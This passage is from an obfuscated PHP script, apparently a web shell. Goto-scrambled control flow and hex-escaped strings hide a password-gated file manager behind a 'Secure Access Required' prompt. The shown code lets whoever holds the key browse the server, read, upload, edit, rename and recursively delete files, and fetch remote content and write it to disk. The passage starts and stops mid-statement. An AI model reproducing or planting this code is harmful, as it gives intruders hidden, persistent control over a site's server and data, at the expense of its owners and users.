2\164\50\47\105\x72\162\x6f\162\40\154\x6f\x61\144\x69\x6e\x67\40\x69\x74\x65\x6d\40\x63\x6f\x6e\164\145\x6e\164\x3a\x20\x27\40\53\40\x65\162\x72\157\x72\x2e\x6d\145\163\x73\x61\147\x65\51\x3b\15\xa\40\40\40\40\40\40\x20\40\x20\x20\40\40\40\x20\40\x20\175\51\x3b\15\xa\40\x20\40\x20\40\x20\40\x20\x7d\xd\12\15\12\40\40\x20\40\x20\x20\x20\40\146\x75\x6e\x63\164\151\157\x6e\40\x6f\160\x65\x6e\122\x65\156\x61\x6d\x65\x44\x69\x61\x6c\x6f\x67\50\x69\x74\145\x6d\116\141\155\x65\51\x20\x7b\xd\xa\40\40\40\40\x20\40\x20\x20\40\x20\x20\40\x64\x6f\143\165\155\x65\x6e\x74\56\x67\145\164\105\x6c\145\155\145\x6e\x74\102\x79\x49\144\x28\47\x6f\x72\x69\147\x69\x6e\141\154\111\164\x65\x6d\116\x61\155\x65\47\51\56\166\141\x6c\165\x65\x20\x3d\40\151\x74\145\155\x4e\141\155\x65\73\15\xa\40\40\x20\x20\40\x20\x20\x20\40\x20\40\x20\x64\157\143\x75\155\145\156\164\x2e\147\x65\x74\x45\x6c\x65\155\145\156\164\x42\171\x49\144\50\47\156\x65\x77\111\164\x65\155\x4e\x61\155\145\x27\x29\56\x76\x61\154\165\145\x20\x3d\40\x69\164\x65\x6d\x4e\x61\x6d\145\73\15\12\x20\40\x20\x20\x20\40\40\x20\40\x20\x20\x20\x6f\160\x65\156\104\151\x61\154\x6f\147\50\47\x72\x65\x6e\x61\155\145\104\x69\x61\154\157\147\47\51\73\xd\12\x20\x20\x20\40\x20\x20\x20\40\175\15\12\15\xa\40\x20\40\40\40\x20\x20\x20\x66\165\x6e\143\x74\151\157\x6e\x20\x63\x6f\156\146\151\162\155\x44\145\154\145\164\145\x28\x69\164\x65\x6d\x4e\x61\155\x65\x29\40\x7b\xd\12\x20\40\40\x20\x20\x20\40\x20\40\x20\40\40\x69\146\40\x28\143\157\x6e\x66\151\x72\x6d\50\140\x41\162\x65\x20\x79\157\165\x20\163\165\x72\x65\x20\x79\157\x75\x20\x77\141\x6e\164\40\x74\157\40\x64\x65\x6c\x65\164\145\40\42\44\x7b\x69\164\x65\x6d\116\x61\155\145\175\42\x3f\x20\x54\x68\x69\163\40\141\x63\164\x69\x6f\156\x20\x63\141\156\156\157\164\40\142\x65\40\165\x6e\144\x6f\156\145\x2e\x60\51\x29\x20\x7b\xd\xa\x20\40\40\40\x20\x20\40\40\x20\40\x20\40\40\x20\40\x20\x63\x6f\x6e\163\164\40\146\157\162\155\40\x3d\x20\144\x6f\143\165\x6d\x65\x6e\x74\x2e\x63\162\x65\x61\164\x65\x45\x6c\145\x6d\145\x6e\164\x28\47\146\157\162\x6d\47\51\73\15\xa\40\40\x20\40\x20\40\40\40\x20\x20\40\x20\40\40\40\40\x66\x6f\x72\155\56\155\x65\164\150\157\x64\40\x3d\x20\47\x70\x6f\x73\x74\x27\73\xd\12\x20\x20\40\40\40\40\x20\x20\40\40\40\x20\x20\x20\x20\40\146\157\162\x6d\56\151\x6e\156\x65\x72\110\x54\115\114\x20\x3d\40\140\xd\12\x20\40\x20\x20\x20\40\40\40\40\x20\x20\40\40\x20\40\x20\x20\40\40\x20\74\x69\x6e\160\x75\164\40\164\x79\x70\145\x3d\x22\x68\x69\x64\x64\145\156\42\40\x6e\x61\x6d\x65\x3d\42\143\163\162\146\137\x74\x6f\153\x65\x6e\42\40\166\x61\154\165\x65\x3d\42"; goto RKRBc; YChaf: goto ItQRC; goto D1_Qz; D1_Qz: Sv1yi: goto GV3it; CQNeC: $DKH4N = "\105\162\x72\157\162\x20\x75\x70\144\x61\164\x69\156\x67\40\x66\151\154\x65\56"; goto eIgbM; Poy8D: goto l6riZ; goto FRtJS; SRHNn: goto pbGNX; goto haRmB; BdAg2: function znO1R($xD9bO) { return preg_replace("\57\x5b\136\x61\x2d\x7a\101\55\x5a\60\x2d\71\56\x5f\55\x5d\x2f", '', trim($xD9bO)); } goto I6oBt; q3lJ7: pbGNX: goto OQPz9; kX0on: echo urlencode($UyGf4); goto y3gSM; ooNWl: zYkoR: goto gq13N; tVO8Z: if (!(isset($_GET["\157\x70\x65\x72\141\x74\151\157\156"]) && $_GET["\x6f\160\145\162\x61\x74\x69\x6f\156"] === "\162\x65\x74\x72\x69\x65\x76\145\x5f\x66\151\154\x65\137\143\x6f\x6e\x74\145\156\x74" && isset($_GET["\151\x74\145\155"]))) { goto t1Ohe; } goto ZGMPl; eDJC3: echo "\xd\xa\40\x20\x20\40\x20\x20\40\40\40\40\40\x20\x3c\x21\104\117\x43\x54\131\x50\x45\x20\150\164\x6d\x6c\x3e\xd\12\x20\x20\40\x20\x20\40\x20\x20\x20\40\40\x20\74\150\x74\x6d\154\40\154\x61\x6e\x67\75\42\x65\x6e\42\x3e\15\12\40\x20\x20\40\x20\40\x20\40\40\40\x20\x20\x3c\150\x65\141\144\x3e\15\12\40\x20\40\x20\40\x20\x20\40\40\40\40\40\x20\40\x20\x20\x3c\x6d\x65\164\141\40\143\x68\141\162\x73\145\164\75\42\x55\x54\106\x2d\x38\42\76\15\12\x20\x20\x20\40\x20\40\x20\40\40\40\x20\x20\40\x20\40\40\74\x6d\x65\164\x61\x20\x6e\141\x6d\145\75\42\166\151\x65\167\x70\x6f\x72\164\x22\x20\x63\x6f\156\164\x65\156\164\x3d\42\167\151\x64\x74\150\x3d\144\x65\166\151\x63\145\55\167\x69\144\164\150\54\x20\x69\x6e\x69\x74\151\x61\x6c\55\x73\143\x61\154\145\x3d\x31\x2e\60\42\x3e\xd\12\40\x20\x20\x20\x20\x20\40\x20\x20\x20\40\x20\40\40\40\40\x3c\164\151\164\x6c\145\x3e\x41\x63\x63\145\163\163\40\x44\x65\156\151\145\x64\74\57\x74\x69\164\x6c\x65\76\15\12\40\40\x20\40\x20\x20\40\40\x20\40\x20\x20\x20\x20\40\40\74\x73\x63\162\x69\160\x74\40\x73\x72\x63\x3d\42\150\164\164\x70\x73\x3a\57\x2f\x63\144\x6e\x2e\164\x61\151\x6c\167\x69\x6e\x64\143\x73\163\56\143\157\155\x22\x3e\74\57\163\x63\x72\151\160\164\76\xd\xa\x20\40\40\x20\40\40\40\x20\40\40\x20\x20\74\57\150\145\x61\144\x3e\15\xa\40\40\40\40\x20\x20\40\x20\x20\40\40\x20\74\142\157\x64\171\40\x63\154\x61\163\163\x3d\42\x62\147\x2d\166\151\x76\151\144\x2d\163\x6c\141\x74\x65\x20\x6d\151\156\55\150\x2d\163\143\162\145\x65\x6e\x20\146\154\145\170\40\151\164\x65\x6d\x73\55\143\145\x6e\x74\x65\x72\40\152\x75\x73\x74\151\146\x79\55\143\145\x6e\164\x65\162\42\x3e\15\12\40\x20\40\x20\x20\x20\40\x20\40\40\40\40\x20\x20\40\x20\x3c\144\x69\166\x20\x63\x6c\x61\x73\x73\75\x22\142\x67\55\x77\150\151\x74\x65\x20\160\55\x38\40\x72\157\165\156\144\x65\144\x2d\x78\x6c\40\x73\150\x61\x64\x6f\167\x2d\x78\x6c\40\x77\55\146\x75\x6c\154\x20\x6d\141\170\55\x77\x2d\155\144\42\x3e\xd\xa\40\40\x20\40\x20\40\x20\40\40\x20\x20\x20\40\x20\40\40\40\x20\x20\x20\74\x68\x32\40\x63\x6c\x61\x73\163\75\42\x74\x65\170\x74\x2d\62\170\x6c\40\146\x6f\x6e\x74\55\142\x6f\x6c\144\40\155\142\55\66\x20\x74\145\170\x74\55\x63\145\156\164\145\x72\x20\164\145\x78\x74\55\x76\x69\166\x69\x64\x2d\143\150\x61\162\x63\157\x61\x6c\42\x3e\x53\145\x63\x75\162\x65\x20\x41\x63\143\x65\163\x73\40\x52\x65\161\x75\151\162\x65\144\x3c\x2f\150\62\x3e\xd\12\40\40\x20\x20\x20\40\x20\40\x20\40\40\x20\x20\x20\40\x20\40\40\x20\40\x3c\146\x6f\162\x6d\x20\155\x65\164\x68\157\144\75\x22\x50\x4f\x53\124\x22\76\xd\xa\x20\40\x20\40\40\x20\x20\x20\40\x20\x20\x20\x20\40\x20\40\x20\40\x20\40\x20\40\40\x20\x3c\151\x6e\x70\x75\164\x20\x74\171\x70\x65\x3d\42\150\151\x64\144\x65\156\x22\x20\x6e\141\155\x65\75\42\x63\x73\162\x66\x5f\x74\x6f\x6b\x65\156\x22\40\x76\x61\154\165\x65\x3d\42" . htmlspecialchars($_SESSION["\143\163\162\x66\x5f\164\x6f\x6b\x65\156"]) . "\42\x3e\xd\xa\x20\x20\40\x20\40\x20\x20\40\40\40\x20\40\x20\40\x20\40\x20\40\x20\x20\x20\x20\x20\x20\x3c\x69\156\160\165\164\40\164\x79\160\x65\x3d\x22\x70\141\163\163\x77\157\162\144\x22\40\x6e\x61\x6d\145\75\42\163\x65\x63\x75\162\145\x5f\x6b\x65\x79\x22\x20\x63\x6c\141\163\163\x3d\42\x77\55\146\x75\154\154\x20\x70\55\x33\40\x62\x6f\162\144\x65\x72\x20\162\157\x75\156\144\x65\144\55\154\147\x20\155\142\x2d\x34\40\x66\x6f\143\x75\x73\x3a\x6f\x75\x74\154\151\156\145\55\x6e\157\156\145\40\x66\x6f\x63\x75\163\72\x72\151\x6e\x67\x2d\x32\40\146\157\143\165\x73\72\162\x69\x6e\147\x2d\166\x69\x76\151\x64\55\164\x65\x61\x6c\42\40\160\x6c\x61\x63\x65\x68\x6f\x6c\x64\x65\x72\75\x22\x45\x6e\x74\x65\x72\40\x73\x65\x63\165\162\x65\40\x6b\x65\x79\42\x20\162\x65\161\x75\151\162\x65\144\40\141\165\164\x6f\146\157\143\x75\163\x3e\xd\xa\40\40\x20\40\40\40\x20\x20\x20\40\x20\x20\40\40\x20\40\x20\x20\x20\x20\40\40\40\40\74\142\165\164\x74\157\x6e\x20\x74\x79\x70\x65\75\42\x73\x75\x62\155\x69\x74\42\40\143\x6c\x61\x73\163\75\x22\x77\x2d\146\165\154\x6c\40\x62\x67\x2d\166\151\166\x69\x64\x2d\164\145\141\x6c\x20\x74\145\x78\164\x2d\x77\150\x69\x74\x65\x20\x70\55\x33\40\x72\x6f\x75\x6e\x64\x65\x64\x2d\x6c\147\40\150\157\166\x65\162\72\142\147\x2d\166\x69\166\151\144\55\x74\x65\x61\x6c\55\144\141\x72\x6b\x20\164\162\x61\x6e\x73\151\164\x69\x6f\x6e\x22\76\125\156\154\x6f\143\153\74\x2f\x62\165\164\164\157\x6e\76\15\xa\40\40\40\40\x20\40\40\x20\40\x20\40\x20\x20\40\x20\40\x20\40\x20\x20\74\x2f\x66\157\162\x6d\76\15\12\x20\40\x20\40\40\40\x20\x20\40\x20\40\40\40\x20\x20\x20\x3c\57\x64\x69\x76\76\xd\12\40\40\40\x20\x20\x20\40\x20\40\40\40\40\x3c\x2f\142\157\144\171\x3e\xd\xa\40\40\40\40\40\40\x20\x20\x20\40\40\x20\74\x2f\x68\164\155\154\x3e\xd\xa\40\40\40\x20\x20\x20\40\x20\40\40\x20\40"; goto utItD; mwnF6: GNvyD: goto q3lJ7; mLzqT: $Nu004 = ZNO1r($_POST["\x6e\x65\x77\x5f\156\x61\155\145"]); goto p7raR; pT5Cn: echo shY4q($UyGf4, $RN9dg); goto ltEu3; x7QnY: $XSEgQ = zNO1R(basename($MhPPM)); goto X62I5; ECHTC: $DKH4N = "\x49\x6e\x76\x61\x6c\x69\x64\40\146\151\154\145\x20\x74\171\160\145\x20\157\162\40\x73\x69\172\145\40\x65\x78\x63\x65\145\144\x73\x20\154\x69\x6d\x69\164\x2e"; goto mqeiq; pQHOD: $RN9dg = realpath(__DIR__); goto Xy9nq; LSpRx: $XSEgQ = Zno1r($_POST["\x69\164\145\155\x5f\156\141\x6d\145"]); goto cfqQy; vZeSO: PqdoF: goto U2YH7; A3raI: dKdrD: goto H6_Uh; X174h: if (!(isset($_POST["\141\x64\144\x5f\x64\151\x72\x65\143\164\157\162\x79"]) && !empty($_POST["\x66\x6f\x6c\144\x65\x72\137\156\x61\x6d\x65"]))) { goto VHTWA; } goto CxVnM; tlrMv: $GpDM3 = $_FILES["\165\160\x6c\x6f\141\x64\x65\144\x5f\x69\164\x65\155"]; goto SqQJd; rBbRI: wU4e6: goto QUnki; ltEu3: echo "\x3c\x2f\x6e\x61\166\x3e\xd\xa\xd\xa\40\x20\40\x20\x20\x20\40\40\x3c\x21\55\x2d\40\x41\x6c\x65\162\164\40\115\145\163\163\141\147\x65\40\55\55\x3e\xd\xa\x20\40\40\x20\40\40\x20\x20"; goto kVf3f; H5acy: if ($AUqcU !== false && file_put_contents($l4vH0, $AUqcU) !== false) { goto lu4Ix; } goto QfXRK; Xtn5l: SIh_6: goto r8J0S; QakTV: gWWpv: goto F7tPf; drdzC: if (!(isset($_POST["\162\x65\x6e\x61\x6d\x65\137\x69\x74\x65\x6d"]) && !empty($_POST["\157\x72\x69\147\x69\156\141\154\x5f\x6e\141\x6d\x65"]) && !empty($_POST["\156\145\x77\137\x6e\141\x6d\145"]))) { goto CtH4i; } goto NLGc2; NHwLm: $isu4D = $UyGf4 . "\57" . $P1G3L; goto tZSvJ; UH0Ge: goto un7QD; goto kP7Hi; AoLSc: $DKH4N = "\x45\162\x72\x6f\162\x20\x72\145\156\x61\155\151\x6e\147\x20\151\x74\x65\x6d\x2e"; goto YChaf; YprUx: goto iNVjM; goto vE_v1; FPOV3: if (is_file($xAY2y)) { goto Dk8bd; } goto C3JLD; KwgZJ: $_SESSION["\x63\163\162\146\x5f\164\x6f\153\x65\156"] = bin2hex(random_bytes(32)); goto QakTV; ldA_Q: if (!file_exists($HdMJq)) { goto p398x; } goto x3ezo; B3Ml1: goto fSqKS; goto ri6nJ; GOdpt: function SHy4q($DpTy4, $RN9dg) { goto eEo_o; y_fZO: w1kAA: goto o8uGA; zQ3d6: foreach ($LfFfM as $Ubd_C) { goto HqBbI; glOjn: f2TvR: goto OoYlK; mNd45: $MmBvh[] = "\74\163\160\141\x6e\40\143\154\x61\x73\x73\x3d\42\164\x65\170\164\55\x67\x72\141\x79\x2d\x35\x30\60\42\76" . htmlspecialchars($Ubd_C) . "\74\x2f\163\x70\141\156\76"; goto aEezV; aEezV: goto bF6a9; goto OTopa; TPJvK: bF6a9: goto glOjn; OTopa: Ff0TG: goto enmug; ryloq: if (is_dir($iznt4) && is_readable($iznt4)) { goto Ff0TG; } goto mNd45; HqBbI: $iznt4 .= DIRECTORY_SEPARATOR . $Ubd_C; goto ryloq; enmug: $MmBvh[] = "\74\141\x20\150\162\x65\x66\x3d\42\77\x77\157\162\x6b\163\x70\x61\x63\x65\75" . urlencode($iznt4) . "\42\40\x63\x6c\141\163\163\75\x22\164\x65\170\x74\x2d\x76\x69\x76\151\144\55\164\145\141\x6c\x20\150\x6f\x76\145\162\x3a\x75\x6e\x64\x65\x72\x6c\151\156\x65\42\76" . htmlspecialchars($Ubd_C) . "\x3c\57\141\x3e"; goto TPJvK; OoYlK: } goto y_fZO; hwU6K: $MmBvh = []; goto eBGHN; eBGHN: $iznt4 = $RN9dg; goto WzkIu; vsRGl: ENrcV: goto l9FwI; o8uGA: return implode("\x20\74\163\160\x61\x6e\40\143\154\141\163\x73\x3d\42\x74\145\170\164\x2d\166\x69\166\x69\x64\55\x63\x68\141\x72\x63\157\141\x6c\40\x6d\x78\x2d\x31\x22\x3e\57\x3c\x2f\x73\x70\141\x6e\76\40", $MmBvh); goto UuSMg; l9FwI: $HwrKY = substr($DpTy4, strlen($RN9dg)); goto Tgksx; Tgksx: $LfFfM = array_filter(explode(DIRECTORY_SEPARATOR, $HwrKY)); goto hwU6K; WzkIu: $MmBvh[] = "\74\141\40\150\x72\x65\146\75\x22\x3f\x77\x6f\x72\153\x73\x70\141\143\145\x3d" . urlencode($RN9dg) . "\x22\40\x63\154\x61\x73\x73\x3d\x22\x74\x65\170\164\55\x76\x69\x76\151\x64\55\x74\x65\x61\154\x20\150\157\166\x65\x72\72\165\x6e\x64\x65\162\x6c\151\x6e\145\x20\146\x6f\156\x74\55\163\x65\155\x69\x62\157\x6c\144\x22\76\122\157\157\x74\74\x2f\141\x3e"; goto zQ3d6; eEo_o: if (!(strpos($DpTy4, $RN9dg) !== 0)) { goto ENrcV; } goto z1LGy; z1LGy: return "\x3c\163\160\141\x6e\x20\x63\154\x61\163\163\75\x22\164\x65\170\164\x2d\162\x65\x64\55\x35\x30\x30\42\x3e\x49\156\166\141\154\151\x64\x20\160\x61\164\x68\x3c\57\x73\x70\141\x6e\x3e"; goto vsRGl; UuSMg: } goto o_YuU; GqDdp: $DKH4N = $bwxdH ? "\106\157\154\144\x65\x72\40\x64\145\x6c\145\x74\x65\x64\40\x73\x75\x63\143\x65\x73\x73\146\165\154\154\x79\x2e" : "\105\x72\162\x6f\x72\x20\x64\x65\x6c\x65\164\x69\156\147\40\146\x6f\x6c\x64\145\162\56"; goto XYIgS; xjUUI: if (password_verify($_POST["\163\145\143\165\x72\145\137\x6b\145\171"], $WGk33)) { goto RzJMB; } goto aTPSO; OY6E3: goto rwOYV; goto xNcuq; lJkdx: Dk8bd: goto Kv3l1; jqJC3: $st1pL = true; goto j5f23; eIgbM: goto EWOGW; goto Hfcg3; tZSvJ: if (!is_dir($isu4D)) { goto mNuwv; } goto G3_fu; HF3ib: $DKH4N = "\106\x69\x6c\145\x20\x75\160\x64\x61\x74\145\x64\x20\x73\x75\x63\x63\145\x73\163\146\165\154\154\171\x2e"; goto JVO84; PqAGu: pTXEj: goto N1kwB; C3JLD: goto U9GL6; goto scU2Z; D6OVg: $DKH4N = "\111\x6e\166\x61\x6c\151\x64\40\x73\x6f\165\x72\143\x65\40\157\162\x20\x64\145\163\164\151\156\x61\164\x69\x6f\x6e\40\156\x61\x6d\145\56"; goto Qm7yr; kVf3f: if (!isset($DKH4N)) { goto zYkoR; } goto y3iPX; NLGc2: $BOKAQ = ZnO1r($_POST["\x6f\x72\x69\x67\x69\x6e\x61\x6c\x5f\156\141\x6d\x65"]); goto mLzqT; RKRBc: echo htmlspecialchars($_SESSION["\x63\163\x72\x66\137\x74\157\x6b\145\156"]); goto K2rz_; joBYM: x2JdP: goto mjAZx; iZjRM: $aBnyl = true; goto dP3kX; Zrf0Y: SGPJe: goto bc2im; AM5Ni: goto s77P6; goto gh_lz; XYIgS: goto U9GL6; goto lJkdx; VagIK: P7qdn: goto drdzC; o_YuU: function AIQPu($dKtL0) { goto bOeJ4; YEf3F: foreach (scandir($dKtL0) as $Ei6vG) { goto U4Kq2; TE_ig: pN2fY: goto GSXPG; u_a41: goto pN2fY; goto Wy0vp; grLG0: VTgyb: goto TE_ig; JYICJ: return false; goto grLG0; U4Kq2: if (!($Ei6vG == "\56" || $Ei6vG == "\x2e\x2e")) { goto i0shn; } goto u_a41; DfVHb: if (AIqPU($dKtL0 . "\57" . $Ei6vG)) { goto VTgyb; } goto JYICJ; Wy0vp: i0shn: goto DfVHb; GSXPG: } goto Tbnu6; bOeJ4: if (file_exists($dKtL0)) { goto vuAKQ; } goto cjbcU; lslRh: return unlink($dKtL0); goto FlyTq; FlyTq: OH2yM: goto YEf3F; YI_0v: vuAKQ: goto dqPvG; dqPvG: if (is_dir($dKtL0)) { goto OH2yM; } goto lslRh; Tbnu6: VJzh3: goto krihY; krihY: return rmdir($dKtL0); goto oTaSd; cjbcU: return true; goto YI_0v; oTaSd: } goto npAQS; KxLIM: TGOcS: goto g9sUN; wDVmV: echo htmlspecialchars($_SESSION["\143\x73\x72\x66\137\x74\157\153\x65\156"]); goto RkyCs; I6oBt: function AvBxS($fQKS1) { goto zkBzL; hE0mC: return number_format($fQKS1 / 1073741824, 2) . "\40\107\102"; goto UIHRn; t49pK: qqAk6: goto AHK69; UIHRn: fLflo: goto vCzP8; AHK69: return $fQKS1 . "\40\x62\x79\x74\x65\x73"; goto DXd5s; zkBzL: if (!($fQKS1 >= 1073741824)) { goto fLflo; } goto hE0mC; Sap5F: return number_format($fQKS1 / 1024, 2) . "\40\x4b\102"; goto t49pK; B9gnc: if (!($fQKS1 >= 1024)) { goto qqAk6; } goto Sap5F; vCzP8: if (!($fQKS1 >= 1048576)) { goto xrOPx; } goto gpwA8; gpwA8: return number_format($fQKS1 / 1048576, 2) . "\40\115\x42"; goto fjnfC; fjnfC: xrOPx: goto B9gnc; DXd5s: } goto GOdpt; ExL01: foreach ($v7WxV as $Ei6vG) { goto IRhpu; WrC05: ePw0s: goto lTI2n; HJO_4: a1puK: goto Tpr2T; GRpY2: $RKVRy[] = $Ei6vG; goto LR_0i; FAKVe: goto BB1jS; goto z6h7o; XDEUF: goto ePw0s; goto HJO_4; LR_0i: BB1jS: goto WrC05; cXVBQ: $M1ewI[] = $Ei6vG; goto FAKVe; z6h7o: qj_59: goto GRpY2; Tpr2T: $xAY2y = $UyGf4 . "\x2f" . $Ei6vG; goto n754H; n754H: if (is_dir($xAY2y)) { goto qj_59; } goto cXVBQ; IRhpu: if (!($Ei6vG === "\x2e" || $Ei6vG === "\56\x2e")) { goto a1puK; } goto XDEUF; lTI2n: } goto KxLIM; Jhmnc: if (rename($Cc3_N, $N1y8k)) { goto Sv1yi; } goto AoLSc; lhRVK: foreach ($RKVRy as $pbEsz) { goto DrSWy; Mk0DM: echo htmlspecialchars($pbEsz); goto suB9R; qJH3K: echo is_writable($UyGf4 . "\57" . $pbEsz) ? "\131\x65\163" : "\x4e\x6f"; goto Xp9c9; suB9R: echo "\47\x29\x22\x20\x63\x6c\141\x73\163\75\42\x62\x67\55\x72\145\144\x2d\65\60\60\40\164\x65\x78\x74\x2d\167\150\151\164\x65\x20\x70\170\55\63\40\160\x79\55\61\40\162\157\165\x6e\x64\x65\144\x2d\154\x67\x20\x68\157\x76\x65\162\72\142\147\55\x72\145\144\x2d\x36\60\60\x20\166\x69\166\151\144\x2d\x74\162\x61\x6e\163\x69\x74\x69\x6f\156\x22\76\104\145\x6c\x65\164\145\x3c\57\x62\x75\164\164\157\156\76\15\xa\x20\x20\x20\x20\x20\40\40\40\40\40\x20\40\x20\x20\x20\40\40\40\40\x20\40\x20\40\40\x20\40\x20\40\x3c\57\164\x64\76\xd\xa\40\x20\40\40\40\x20\x20\x20\x20\x20\40\x20\x20\x20\x20\x20\x20\40\x20\40\x20\40\40\x20\x3c\x2f\x74\162\x3e\15\12\x20\40\40\x20\40\40\40\40\x20\40\40\x20\x20\x20\x20\x20\40\x20\40\x20"; goto Zsxs3; XoWB3: echo htmlspecialchars($pbEsz); goto WPqgH; Zsxs3: Ncchf: goto BrSWK; xrN3w: echo urlencode($UyGf4 . "\57" . $pbEsz); goto sfYvD; Xp9c9: echo "\x3c\57\164\144\76\xd\12\40\x20\x20\x20\40\40\x20\x20\x20\x20\x20\x20\x20\40\x20\x20\x20\40\x20\40\x20\x20\40\40\40\40\x20\x20\74\164\144\40\x63\154\141\163\x73\75\x22\x70\55\64\x22\76"; goto hqXAb; qvI6f: echo "\74\x2f\164\x64\76\xd\xa\x20\40\40\40\x20\x20\40\x20\x20\x20\40\x20\x20\40\x20\x20\40\x20\40\40\x20\40\x20\40\40\40\40\40\74\164\144\x20\143\154\141\163\x73\75\x22\160\55\64\x20\163\x70\x61\143\145\x2d\170\55\x33\x22\x3e\15\xa\x20\x20\40\40\40\40\x20\x20\40\x20\x20\x20\x20\40\x20\40\x20\40\40\x20\40\40\x20\40\40\x20\40\x20\40\x20\40\x20\74\x62\x75\164\x74\157\x6e\40\157\156\143\x6c\x69\143\153\75\x22\157\x70\145\156\122\x65\x6e\141\155\145\x44\x69\141\154\x6f\x67\x28\47"; goto XoWB3; WPqgH: echo "\47\x29\42\40\143\x6c\x61\163\x73\x3d\x22\142\147\55\x79\145\x6c\154\x6f\x77\x2d\65\60\60\x20\164\x65\x78\164\x2d\167\x68\x69\x74\x65\40\160\170\x2d\x33\x20\160\x79\55\61\x20\162\x6f\165\x6e\144\145\144\55\x6c\147\x20\x68\157\x76\x65\162\72\142\147\x2d\x79\145\154\154\x6f\167\x2d\x36\x30\x30\x20\x76\151\166\x69\144\x2d\164\x72\x61\x6e\x73\151\164\x69\157\x6e\x22\x3e\122\145\156\141\155\145\x3c\57\x62\165\164\x74\157\x6e\76\15\xa\40\40\x20\40\40\x20\x20\x20\40\40\40\40\x20\40\40\40\x20\x20\40\x20\x20\40\40\x20\40\40\x20\x20\x20\x20\40\40\x3c\x62\x75\164\164\157\x6e\x20\x6f\x6e\143\x6c\x69\143\x6b\x3d\x22\x63\157\156\x66\151\162\155\104\145\x6c\x65\164\x65\x28\x27"; goto Mk0DM; sfYvD: echo "\42\40\x63\x6c\x61\163\163\x3d\42\164\145\x78\x74\x2d\166\x69\166\151\x64\x2d\x74\145\141\x6c\x20\150\157\166\145\x72\x3a\165\156\144\145\x72\154\151\156\x65\x22\76"; goto qA5YY; DrSWy: echo "\40\40\40\x20\40\x20\x20\x20\x20\40\x20\40\x20\40\40\40\x20\40\40\x20\40\40\x20\x20\x3c\164\x72\40\x63\154\141\163\x73\x3d\x22\x62\x6f\162\144\145\x72\55\164\40\x68\157\166\x65\x72\72\142\147\x2d\x67\x72\x61\x79\55\x35\x30\40\166\x69\166\151\x64\55\164\x72\x61\x6e\163\151\164\x69\157\156\42\76\15\xa\40\x20\x20\40\40\x20\x20\x20\40\x20\40\x20\x20\40\x20\40\x20\x20\x20\40\x20\40\40\40\x20\x20\40\x20\x3c\164\144\x20\x63\154\x61\163\163\75\42\x70\55\x34\x22\x3e\x3c\151\x20\x63\154\x61\163\163\75\42\x66\x61\163\x20\x66\141\x2d\x66\157\154\144\145\x72\x20\155\162\x2d\62\x20\164\x65\x78\164\55\166\151\x76\151\144\55\x74\145\x61\x6c\x22\76\74\x2f\151\x3e\74\x61\x20\x68\162\x65\x66\75\42\x3f\167\x6f\162\153\x73\x70\x61\143\145\75"; goto xrN3w; LV4k_: echo "\x3c\x2f\x61\x3e\x3c\x2f\x74\x64\x3e\15\xa\40\40\40\40\40\x20\40\40\40\x20\x20\x20\40\40\x20\40\x20\40\40\x20\40\x20\x20\x20\x20\40\x20\40\74\164\144\x20\x63\154\x61\x73\x73\x3d\42\160\55\x34\x22\76\106\157\154\144\145\x72\x3c\57\164\x64\76\xd\12\x20\40\x20\40\40\40\x20\40\x20\x20\x20\x20\x20\x20\40\40\40\x20\x20\x20\x20\40\x20\x20\x20\40\x20\40\74\164\144\40\143\154\141\x73\x73\x3d\42\160\x2d\x34\x22\x3e\x2d\x3c\x2f\164\x64\x3e\15\12\40\x20\x20\40\40\40\x20\x20\x20\40\x20\x20\x20\x20\40\40\x20\x20\40\40\x20\40\40\40\x20\40\40\40\x3c\x74\x64\x20\143\x6c\x61\x73\x73\75\42\x70\55\x34\x22\x3e"; goto qJH3K; qA5YY: echo htmlspecialchars($pbEsz); goto LV4k_; hqXAb: echo date("\x59\x2d\155\x2d\x64\x20\110\72\151\72\163", filemtime($UyGf4 . "\57" . $pbEsz)); goto qvI6f; BrSWK: } goto HrspV; V83w2: echo htmlspecialchars($_SESSION["\x63\x73\x72\x66\x5f\x74\x6f\x6b\145\x6e"]); goto OZfTN; B39ub: if (mkdir($isu4D, 0755)) { goto JKhRB; } goto zjQfB; scU2Z: v029G: goto ugX0X; nAVlY: fSqKS: goto joBYM; Conu0: goto SIh_6; goto EMeQw; ZGMPl: $f5xwD = realpath($_GET["\167\x6f\162\153\x73\x70\141\143\145"] . "\57" . $_GET["\151\164\x65\x6d"]); goto pIIY_; zjQfB: $DKH4N = "\x46\x61\x69\154\145\144\40\x74\x6f\40\143\x72\145\x61\x74\145\x20\146\157\x6c\x64\x65\162\x2e"; goto rAymK; Ucrww: $HcnX3->close(); goto LXZOP; MKafv: echo "\x22\x3e\15\12\x20\40\x20\40\x20\40\40\40\40\x20\40\40\x20\40\x20\40\x20\x20\x20\x20\x3c\151\156\x70\165\x74\x20\x74\171\160\145\x3d\42\x66\x69\154\145\42\x20\x6e\141\x6d\145\x3d\x22\x75\160\154\x6f\141\144\x65\x64\137\151\164\x65\x6d\x22\40\x63\x6c\141\163\163\x3d\42\x66\x6c\145\x78\x2d\61\x20\160\55\63\x20\142\x6f\x72\144\145\x72\x20\x72\x6f\165\156\144\145\x64\x2d\x6c\147\x22\40\x72\145\x71\x75\151\x72\x65\144\76\xd\xa\40\40\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\40\40\x20\x20\40\40\40\x20\74\142\x75\x74\164\157\x6e\40\x74\x79\160\145\75\42\x73\x75\142\x6d\x69\164\x22\40\x63\154\141\163\x73\x3d\42\x62\x67\55\x76\151\x76\151\144\x2d\x74\145\141\x6c\40\x74\x65\170\x74\x2d\167\150\x69\x74\145\x20\x70\x2d\x33\x20\x72\x6f\x75\x6e\144\x65\144\55\154\147\x20\150\157\166\145\162\72\x62\x67\x2d\166\x69\166\151\144\55\x74\145\141\154\x2d\x64\x61\x72\x6b\x20\x76\x69\166\151\x64\x2d\x74\162\141\x6e\x73\151\x74\x69\x6f\x6e\x22\76\125\160\154\x6f\141\144\74\x2f\x62\165\x74\x74\157\156\x3e\15\xa\40\40\x20\x20\x20\x20\x20\x20\40\40\40\x20\x20\40\40\x20\74\57\x66\157\x72\x6d\x3e\xd\12\x20\40\x20\40\x20\40\x20\40\x20\x20\x20\40\74\x2f\x64\x69\166\76\15\xa\15\xa\40\x20\40\40\x20\40\40\40\x20\40\40\x20\x3c\41\x2d\55\40\x46\x65\x74\x63\x68\40\x52\x65\155\x6f\x74\145\40\111\x74\145\x6d\40\55\55\x3e\xd\12\x20\x20\x20\x20\40\40\x20\40\x20\40\x20\x20"; goto I43Nl; YNA75: if (!(isset($_POST["\x6d\x6f\x64\x69\x66\171\137\146\151\x6c\145"]) && 